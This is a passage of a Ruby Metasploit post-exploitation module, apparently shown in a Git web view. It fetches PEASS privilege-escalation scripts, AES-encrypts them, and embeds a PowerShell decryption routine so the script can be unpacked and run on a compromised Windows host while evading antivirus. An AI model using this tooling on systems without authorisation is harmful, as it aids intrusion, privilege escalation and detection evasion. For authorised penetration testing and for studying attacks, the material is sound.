raise 'Invalid URL' unless target.scheme =~ /https?/
|
||||
raise 'Invalid URL' if target.host.to_s.eql? ''
|
||||
|
||||
res = Net::HTTP.get_response(target)
|
||||
peass_script = res.body
|
||||
|
||||
raise "Something failed downloading PEASS script from #{url_peass}" if peass_script.length < 500
|
||||
|
||||
else
|
||||
raise "PEASS local file (#{url_peass}) does not exist!" unless ::File.exist?(url_peass)
|
||||
peass_script = File.read(url_peass)
|
||||
raise "Something falied reading PEASS script from #{url_peass}" if peass_script.length < 500
|
||||
end
|
||||
|
||||
return peass_script
|
||||
end
|
||||
|
||||
def aes_enc_peass(peass_script)
|
||||
# Encrypt the PEASS script with aes
|
||||
key = datastore["PASSWORD"]
|
||||
iv = OpenSSL::Cipher::Cipher.new('aes-256-cbc').random_iv
|
||||
|
||||
c = OpenSSL::Cipher.new('aes-256-cbc').encrypt
|
||||
c.iv = iv
|
||||
c.key = key
|
||||
encrypted = c.update(peass_script) + c.final
|
||||
encrypted = [encrypted].pack('m')
|
||||
|
||||
return {
|
||||
"encrypted" => encrypted,
|
||||
"key_hex" => key.unpack('H*').first,
|
||||
"key_b64" => Base64.encode64(key).strip,
|
||||
"iv_hex" => iv.unpack('H*').first,
|
||||
"iv_b64" => Base64.encode64(iv).strip
|
||||
}
|
||||
end
|
||||
|
||||
def get_ps_aes_decr
|
||||
# PS code to decrypt Winpeas
|
||||
return '# Taken from https://gist.github.com/Darryl-G/d1039c2407262cb6d735c3e7a730ee86
|
||||
function DecryptStringFromBytesAes([String] $key, [String] $iv, [String] $encrypted) {
|
||||
[byte[]] $encrypted = [Convert]::FromBase64String($encrypted);
|
||||
[byte[]] $key = [Convert]::FromBase64String($key)
|
||||
[byte[]] $iv = [Convert]::FromBase64String($iv)
|
||||
|
||||
# Declare the stream used to encrypt to an in memory
|
||||
# array of bytes.
|
||||
[System.IO.MemoryStream] $msDecrypt
|
||||
|
||||
# Declare the RijndaelManaged object
|
||||
# used to encrypt the data.
|
||||
[System.Security.Cryptography.RijndaelManaged] $aesAlg = new-Object System.Security.Cryptography.RijndaelManaged
|
||||
|
||||
[String] $plainText=""
|
||||
|
||||
try {
|
||||
# Create a RijndaelManaged object
|
||||
# with the specified key and IV.
|
||||
$aesAlg = new-object System.Security.Cryptography.RijndaelManaged
|
||||
$aesAlg.Mode = [System.Security.Cryptography.CipherMode]::CBC
|
||||
$aesAlg.KeySize = 256
|
||||
$aesAlg.BlockSize = 128
|
||||
$aesAlg.key = $key
|
||||
$aesAlg.IV = $iv
|
||||
|
||||
# Create an encryptor to perform the stream transform.
|
||||
[System.Security.Cryptography.ICryptoTransform] $decryptor = $aesAlg.CreateDecryptor($aesAlg.Key, $aesAlg.IV);
|
||||
|
||||
# Create the streams used for encryption.
|
||||
$msDecrypt = new-Object System.IO.MemoryStream @(,$encrypted)
|
||||
$csDecrypt = new-object System.Security.Cryptography.CryptoStream($msDecrypt, $decryptor, [System.Security.Cryptography.CryptoStreamMode]::Read)
|
||||
$srDecrypt = new-object System.IO.StreamReader($csDecrypt)
|
||||
|
||||
#Write all data to the stream.
|
||||
$plainText = $srDecrypt.ReadToEnd()
|
||||
$srDecrypt.Close()
|
||||
$csDecrypt.Close()
|
||||
$msDecrypt.Close()
|
||||
}
|
||||
finally {
|
||||
# Clear the RijndaelManaged object.
|
||||
if ($aesAlg -ne $null){
|
||||
$aesAlg.Clear()
|
||||
}
|
||||
}
|
||||
|
||||
# Return the Decrypted bytes from the memory stream.
|
||||
return $plainText
|
||||
}
|
||||
'
|
||||
end
|
||||
end
|
||||
Loading…
Reference in New Issue
Block a user